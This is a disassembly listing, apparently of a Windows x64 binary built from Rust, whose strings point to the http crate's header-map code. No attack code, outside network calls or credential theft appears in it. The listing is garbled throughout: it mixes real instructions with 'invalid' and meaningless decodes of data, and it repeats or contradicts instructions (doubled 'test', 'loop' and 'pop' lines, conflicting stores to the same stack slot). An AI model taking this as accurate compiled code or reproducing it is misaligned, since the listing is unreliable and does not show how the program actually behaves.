movdqu xmmword [rdx + 0xc0], xmm7
paddd xmm1, xmm10
movdqu xmmword [rdx + 0xd0], xmm1
movdqa xmm1, xmmword [rsp + 0x10]
paddd xmm1, xmm0
movdqu xmmword [rdx + 0xe0], xmm1
paddd xmm2, xmmword [rsp + 0x60]
movdqu xmmword [rdx + 0xf0], xmm2
movaps xmm6, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm8, xmmword [rsp + 0xd0]
movaps xmm9, xmmword [rsp + 0xe0]
movaps xmm10, xmmword [rsp + 0xf0]
movaps xmm11, xmmword [rsp + 0x100]
add byte [rax], al
add byte [rdi + rcx + 0x28], al
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0xf0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0x10
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
lodsb al, byte [rsi]
and al, 0x20
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
mov ah, 0x24
xor byte [rcx], al
add byte [rax], al
sub byte [rsp + 0x100], bl
movaps xmm12, xmmword [rsp + 0x110]
movaps xmm13, xmmword [rsp + 0x120]
add byte [rax], al
movaps xmm14, xmmword [rsp + 0x130]
movaps xmm15, xmmword [rsp + 0x140]
add rsp, 0x158
ret
mov rax, qword [rsp + 0x20]
cmp rax, 2
jne 0x14004e3ca
mov qword [rsi], 2
jmp 0x14004e501
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x40]
test rax, rax
je 0x14004e4c0
mov r15, qword [rsp + 0x30]
mov r14d, 1
test rbx, rbx
je 0x14004e4c5
mov rcx, qword [rsp + 0x38]
jmp 0x14004e4ee
xor r14d, r14d
jmp 0x14004e4ee
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14004e79c
mov qword [rax], r15
lea rcx, fcn.140035b40
mov r15, rax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rcx
mov qword [rsi + 0x20], rdi
mov rax, rsi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x14004e725
call qword [rax + 8]
jmp 0x14004e725
mov rbx, rax
mov qword [rax], 2
mov qword [r14 + 0x28], rax
mov rcx, rbx
call fcn.140034a50
mov qword [rbx], 1
mov qword [rbx + 8], rdi
mov qword [rsp + 0x20], 2
add byte [rax], al
add byte [rax], al
jmp 0x14004e3be
mov edx, edi
mov rax, rbx
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rdx
xor eax, eax
xchg byte [rdi + 0x20], al
movzx eax, byte [rdi + 0x40]
test al, al
test al, al
je 0x14004e73c
mov al, 1
xchg byte [rdi + 0x41], al
test al, al
jne 0x14004e6b7
xor eax, eax
xchg byte [rdi + 0x41], al
mov qword [rsp + 0x20], 0
xor ebx, ebx
cmp dword [rsp + 0x48], 1
and byte [rax], al
add byte [rax], al
add byte [rcx], dh
fild dword [rbx + 0x148247c]
jne 0x14004e6e5
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x14004e6e5
lea rcx, [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
test bl, bl
jne 0x14004e3b3
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x14004e71a
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x14004e71a
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
je 0x14004e5c8
lock dec qword [rdi]
jne 0x14004e3b3
mov rcx, rdi
call fcn.140034b00
jmp 0x14004e3b3
mov rax, r14
mov rbx, qword [r14 + 0x28]
test rbx, rbx
jne 0x14004e76e
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14004e7ab
mov rbx, rax
mov qword [rax], 2
mov qword [r14 + 0x28], rax
mov rcx, rbx
call fcn.140034a50
invalid
dec dword [rax - 0x39]
add eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x77], cl
jnp 0x14004e789
invalid
jnp 0x14004e789
mov qword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
add byte [rbx + 0x247c8301], dh
add qword [rdi], rcx
test byte [rdx], dh
invalid
mov bl, 1
cmp dword [rsp + 0x48], 1
je 0x14004e6c9
jmp 0x14004e6e5
mov ecx, 8
mov edx, 8
call fcn.1401082c0
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
int3
int3
int3
int3
jne 0x14004e816
cmp qword [rcx + 8], 0
sete al
ret
add rcx, 0x18
jmp 0x14002d730
test ecx, ecx
je 0x14004e836
cmp ecx, 1
jne 0x14004e856
mov rdx, qword [rdx + 8]
jmp 0x14004e85a
cmp qword [rdx + 8], 0
je 0x14004e87c
mov rcx, qword [rdx + 0x18]
mov qword [rax + 0x10], rcx
mov qword [rax], 1
mov edx, 8
mov qword [rax + rdx], rcx
ret
mov rdx, qword [rdx + 0x10]
xor ecx, ecx
xor r8d, r8d
cmp rdx, 0xfffffffffffffffe
cmovb rcx, rdx
setb r8b
mov qword [rax], r8
mov qword [rax + 8], rdx
mov edx, 0x10
mov qword [rax + rdx], rcx
ret
mov qword [rax + 0x10], 0
mov qword [rax], 1
mov edx, 8
xor ecx, ecx
mov qword [rax + rdx], rcx
ret
rol byte [rax], 1
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14004ebd6
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xb8], 8
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], 2
mov word [rsp + 0xd8], 1
lea rax, [0x14013e948]
mov qword [rsp + 0xe0], rax
lea rax, [0x140143420]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 3
mov qword [rsp + 0xf8], 0
mov byte [rsp + 0x100], 0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x80]
lea r8, [rsp + 0x30]
lea r9, [rsp + 0xe0]
call fcn.14004ec10
cmp byte [rsp + 0x78], 3
je 0x14004ebe5
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
cmp al, 2
je 0x14004ea00
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x14004ea22
call fcn.14002e060
movups xmm0, xmmword [0x14014c810]
movups xmmword [rsp + 0x6c], xmm0
movups xmm0, xmmword [0x14014c800]
movups xmmword [rsp + 0x5c], xmm0
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
movups xmm3, xmmword [rsp + 0xb0]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x30], xmm3
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [rsi + 0x50], xmm0
mov qword [rsi + 0x60], 1
mov qword [rsi + 0x68], 0xa
mov qword [rsi + 0x78], 0
mov qword [rsi + 0x80], 8
xorps xmm0, xmm0
movups xmmword [rsi + 0x88], xmm0
mov qword [rsi + 0x98], 8
mov qword [rsi + 0xa0], 0
mov dword [rsi + 0xa8], 0
mov dword [rsi + 0xb0], 0
mov dword [rsi + 0xb8], 0
mov dword [rsi + 0xc8], 0x3b9aca00
mov qword [rsi + 0xd0], 0x5a
mov dword [rsi + 0xd8], 0
mov dword [rsi + 0xe8], 0x3b9aca00
mov dword [rsi + 0xf8], 0x3b9aca00
mov dword [rsi + 0x108], 0x3b9aca00
mov dword [rsi + 0x118], 0x3b9aca00
mov eax, dword [rsp + 0x78]
mov dword [rsi + 0x13c], eax
movups xmm1, xmmword [rsp + 0x58]
movups xmm2, xmmword [rsp + 0x68]
movups xmmword [rsi + 0x12c], xmm2
movups xmmword [rsi + 0x11c], xmm1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm1, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movups xmmword [rsi + 0x140], xmm1
mov qword [rsi + 0x150], 0xffffffffffffffff
movups xmmword [rsi + 0x158], xmm0
mov dword [rsi + 0x170], 0x1000101
mov word [rsi + 0x174], 0x101
mov qword [rsi + 0x176], 0
mov dword [rsi + 0x17e], 0x2000001
mov byte [rsi + 0x182], 2
mov word [rsi + 0x193], 0x404
add rsp, 0x108
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0xd0
call fcn.1401082a0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013f8e8]
lea r8, [rsp + 0x30]
mov edx, 0x17
call fcn.1401088e0
int3
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], eax
mov r8, qword [rsp + 0x48]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
cmp rdx, 0x7fff
ja 0x14004f066
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rcx + 0x10], cl
add dword [rdi], ecx
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
add byte [rcx - 0x75], cl
and byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rax], al
add byte [rcx - 0x75], cl
and byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rax], al
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
sub dword [rsp + 0x60], eax
sub dword [rsp + 0x60], eax
mov rax, rdx
mov rsi, qword [rsp + 0x40]
cmp rdx, qword [rsi + 0x18]
jne 0x14004ef8b
lea rcx, [rsi + 0x18]
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r15, qword [rsi + 0x50]
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x80]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rsi + 0x28], rax
cmp r14, r15
jae 0x14004f211
mov rax, qword [rsi + 0x48]
mov word [rax + r14*4], dx
mov word [rax + r14*4 + 2], bp
jmp 0x14004f1e5
mov ecx, dword [rsp + 0x50]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], eax
mov r8, qword [rsp + 0x48]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
cmp rdx, 0x7fff
jbe 0x14004f0bf
lea rcx, [rsp + 0xd8]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14004f0b1
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x20], 3
jmp 0x14004f1ee
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov rax, rdx
cmp rdx, qword [rdi + 0x18]
jne 0x14004f11c
lea rcx, [rdi + 0x18]
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0x58]
mov r9, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r12, qword [rdi + 0x48]
mov r15, qword [rdi + 0x50]
and sil, bl
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x80]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rdi + 0x28], rax
xor eax, eax
nop dword [rax]
mov rcx, r14
mov r14d, 0
cmp rcx, r15
jae 0x14004f180
movzx r9d, word [r12 + rcx*4]
cmp r9w, 0xffff
je 0x14004f1bc
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov edx, r9d
mov r14, rcx
jmp 0x14004f180
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], bp
cmp rax, 0x80
setb al
not sil
test sil, al
jne 0x14004f1e5
cmp qword [rdi], 0
jne 0x14004f1e5
mov qword [rdi], 1
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x20], 2
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov ecx, esi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r14
mov rdx, r15
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rsi
add byte [rax - 0x77], cl
int1
call fcn.1401085b0
int3
cmp esi, dword [rcx + 0x31013b13]
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
mov edi, 4
cmovae rdi, rcx
imul r8, rdi, 0x68
shl edx, 3
loop 0x14004f28c
loop 0x14004f28c
test rax, rax
je 0x14004f2a7
mov rcx, qword [rsi + 8]
imul rax, rax, 0x68
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
jmp 0x14004f2a9
xor eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.1400f6880
call fcn.1400f6880
cmp qword [rsp + 0x28], 0
jne 0x14004f2df
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
cmp al, ch
mov dl, 0x8f
or eax, dword [rax]
cmp al, ch
mov dl, 0x8f
or eax, dword [rax]
int3
push rbp
push rbx
sub rsp, 0x98
mov rsi, qword [rcx + 0x40]
cmp rsi, rdx
jbe 0x14004f64f
mov rbx, rcx
mov r12, qword [rcx + 0x20]
mov rax, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov r13, qword [rcx + 0x38]
lea rbp, [rsp + 0x48]
lea rdi, [rsp + 0x60]
lea rax, [rsi + rsi*8]
lea eax, [rsi + rsi*8]
lea eax, [rsi + rsi*8]
test byte [rbp + rcx*4 + 0x34], 0xc5
mov eax, 0x4dffffff
add esi, ebp
lea r14, [rax*8 - 0x48]
add r14, r13
nop dword [rax]
lea r8, [rdx + rdx*8]
mov rcx, qword [r13 + r8*8 + 8]
mov r9, qword [r13 + r8*8 + 0x10]
mov rax, qword [r13 + r8*8 + 0x18]
sbb byte [rbx - 0x7d], cl
jl 0x14004f31c
add byte [rax], al
ror byte [rbx - 0x75], cl
invalid
sbb byte [rbx - 0x7d], cl
jl 0x14004f31c
add byte [rax], al
je 0x14004f3a0
test r9, r9
je 0x14004f3f0
invalid
mov word [rax], es
add byte [rax], al
test byte [rax + rax + 0x39480000], cl
int1
cmp rcx, rsi
jae 0x14004f676
add byte [rbp + rcx*4 + 0xc], cl
lea r9, [rcx + rcx*8]
leave
mov qword [r13 + r9*8 + 0x10], 1
add dword [rax], eax
add byte [rax], al
mov qword [r13 + r9*8 + 0x18], rax
mov dword [rbp + rcx*8 + 0x18], eax
sbb byte [rax + 0x39], cl
invalid
cmp rax, rsi
jae 0x14004f685
lea rax, [rax + rax*8]
mov qword [r13 + rax*8], 1
mov qword [r13 + rax*8 + 8], rcx
jmp 0x14004f450
test r9, r9
je 0x14004f42e
cmp rcx, qword [rsp + 0x20]
jae 0x14004f6b8
imul r9, rcx, 0x68
cmp qword [r12 + r9], 0
je 0x14004f734
add r9, r12
mov qword [r9 + 8], rax
cmp rax, rsi
jae 0x14004f6dd
lea rax, [rax + rax*8]
mov qword [r13 + rax*8], 0
mov qword [r13 + rax*8 + 8], rcx
jmp 0x14004f450
cmp rax, qword [rsp + 0x20]
jae 0x14004f6c9
imul r9, rax, 0x68
cmp qword [r12 + r9], 0
je 0x14004f740
add r9, r12
mov qword [r9 + 0x10], rcx
cmp rcx, rsi
jae 0x14004f6ef
add byte [rax], al
add byte [rax], al
lea rcx, [rcx + rcx*8]
mov qword [r13 + rcx*8 + 0x10], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
int 0x18
mov qword [r13 + rcx*8 + 0x18], rax
jmp 0x14004f450
cmp rcx, qword [rsp + 0x20]
jae 0x14004f723
imul rax, rcx, 0x68
mov qword [r12 + rax], 0
nop word cs:[rax + rax]
lea r11, [r8*8]
add r11, r13
mov r9, qword [r11]
mov r10, qword [r11 + 8]
mov r8, qword [r11 + 0x10]
mov r15, qword [r11 + 0x18]
mov rax, qword [r11 + 0x40]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [r11 + 0x30]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [r11 + 0x20]
movaps xmmword [rsp + 0x70], xmm0
dec rsi
mov rax, qword [r14 + 0x40]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movups xmmword [r11], xmm0
movups xmmword [r11 + 0x10], xmm1
movups xmmword [r11 + 0x20], xmm2
movups xmmword [r11 + 0x30], xmm3
mov qword [r11 + 0x40], rax
mov qword [rbx + 0x40], rsi
cmp rsi, rdx
je 0x14004f593
jbe 0x14004f664
mov rbp, rbx
mov rbx, rdi
mov rax, qword [r11 + 8]
mov rdi, qword [r11 + 0x10]
mov rcx, qword [r11 + 0x18]
cmp qword [r11], 0
je 0x14004f538
cmp rax, rsi
jae 0x14004f697
lea rax, [rax + rax*8]
mov qword [r13 + rax*8 + 0x10], 1
lea rax, [rax*8 + 0x18]
add rax, r13
mov qword [rax], rdx
test rdi, rdi
je 0x14004f564
cmp rcx, rsi
jae 0x14004f6a9
mov rdi, rbx
lea rax, [rcx + rcx*8]
mov qword [r13 + rax*8], 1
lea rax, [rax*8 + 8]
add rax, r13
jmp 0x14004f588
cmp rax, qword [rsp + 0x20]
jae 0x14004f6fe
imul rax, rax, 0x68
cmp qword [r12 + rax], 0
je 0x14004f74c
mov r11, r12
add rax, r12
add rax, 8
mov qword [rax], rdx
test rdi, rdi
jne 0x14004f512
cmp rcx, qword [rsp + 0x20]
jae 0x14004f712
imul rax, rcx, 0x68
cmp qword [r12 + rax], 0
je 0x14004f758
mov rdi, rbx
add rax, r12
add rax, 0x10
mov qword [rax], rdx
mov rbx, rbp
lea rbp, [rsp + 0x48]
mov rax, r8
xor rax, 1
mov rcx, rsi
xor rcx, r15
or rcx, rax
mov eax, 1
cmove r8, rax
cmove r15, rdx
mov rax, r9
xor rax, 1
mov rcx, rsi
xor rcx, r10
or rcx, rax
cmove r10, rdx
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x40], edi
mov rax, qword [rsp + 0x90]
mov qword [rbp + 0x20], rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
test r8, r8
je 0x14004f625
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rcx, rdi
call qword [rax + 0x10]
add r14, 0xffffffffffffffb8
mov rdx, r15
cmp rsi, r15
cmp esi, edi
ja 0x14004f340
jmp 0x14004f652
mov rax, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rcx, rdi
call qword [rax + 0x10]
nop
add rsp, 0x98
pop rbx
pop rbp
cwde
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
mov r15, rdx
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r15
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rdx
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rax
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rax
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, qword [rsp + 0x20]
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rax
mov rdx, qword [rsp + 0x20]
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rax
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, rsi
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, rax
mov rdx, qword [rsp + 0x20]
add byte [rax - 0x77], cl
ror dword [rax - 0x75], 0x54
and al, 0x20
call fcn.1401085b0
mov cs, word [rbx]
add byte [rbp + rcx*4 + 5], cl
ja 0x14004f71f
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, qword [rsp + 0x20]
str word [rax - 0x75]
push rsp
and al, 0x20
call fcn.1401085b0
lea ecx, [rsi - 0x72b3fff5]
add eax, 0xf072e
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rdx, qword [rsp + 0x20]
call fcn.1401085b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.140108970
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.140108970
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.140108970
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
call fcn.140108970
int3
mov r8, qword [rsp + 0x168]
mov rdx, rcx
lea rcx, [rcx + rcx*8]
mov byte [r8 + rcx*2], 2
mov byte [r8 + rcx*2 + 1], dil
mov dword [r8 + rcx*2 + 2], eax
mov rax, qword [rsp + 0x240]
mov qword [r8 + rcx*2 + 6], rax
mov eax, dword [rsp + 0x248]
mov qword [rsp + 0x58], r8
mov dword [r8 + rcx*2 + 0xe], eax
inc rdx
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x170], rdx
mov edi, ebx
movdqa xmm10, xmm9
mov ebx, edi
movdqa xmm9, xmm10
cmp byte [rsp + 0x60], 0
movabs rdi, 0x8080808080808080
je 0x1400502cf
mov rcx, r15
cmp r12, r14
jbe 0x14004faa0
xor edi, edi
jmp 0x14004fbf5
mov rdx, r12
jmp 0x14004fab8
invalid
adc esp, dword [rsi + 0x66]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rdx, r12
cmp r12, r14
ja 0x14004fa97
mov r8, r14
sub r8, rdx
lea rax, [rsi + rdx]
cmp r8, 0x10
jae 0x14004fb00
cmp r14, rdx
je 0x14004fbf0
invalid
add dword [rax], eax
invalid
invalid
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
je 0x14004fbc4
inc r10
cmp r8, r10
jne 0x14004fae0
jmp 0x14004fbf0
lea r9, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, rax
jne 0x14004fb20
lea r10, [r8 - 0x10]
xor r9d, r9d
jmp 0x14004fb55
cmp r9, r8
cmovae r9, r8
xor r10d, r10d
nop word [rax + rax]
cmp byte [rax + r10], 0x2c
je 0x14004fbc4
inc r10
cmp r9, r10
jne 0x14004fb30
lea r10, [r8 - 0x10]
nop word [rax + rax]
push rax
invalid
cmp r9, r10
ja 0x14004fb90
movdqu xmm0, xmmword [rax + r9]
movdqa xmm1, xmm0
pxor xmm1, xmm7
paddq xmm1, xmm8
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r11, xmm1
test r11, rdi
jne 0x14004fb90
add r9, 0x10
jmp 0x14004fb50
cmp r8, r9
je 0x14004fbf0
add rax, r9
mov r8, r14
sub r8, r9
sub r8, rdx
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
je 0x14004fbc1
inc r10
cmp r8, r10
jne 0x14004fbb0
jmp 0x14004fbf0
add r10, r9
lea r12, [rdx + r10]
inc r12
add rdx, r10
cmp rdx, r14
jae 0x14004fab0
cmp byte [rsi + rdx], 0x2c
jne 0x14004fab0
mov dil, 1
mov qword [rsp + 0x38], r12
jmp 0x14004fbfd
xor edi, edi
mov r12, r14
mov qword [rsp + 0x38], rcx
mov rdx, r14
sub rdx, rcx
add rcx, rsi
call fcn.1400532b0
test rax, rax
je 0x1400502cf
invalid
invalid
invalid
add byte [rax], al
test byte [rsi + 0x48000006], bh
mov ebp, eax
mov rbp, rax
mov r15, rdx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], 0
lea rcx, [rsp + 0x68]
call fcn.140044e90
mov r13, rax
test r13b, 1
mov dword [rsp + 0x60], edi
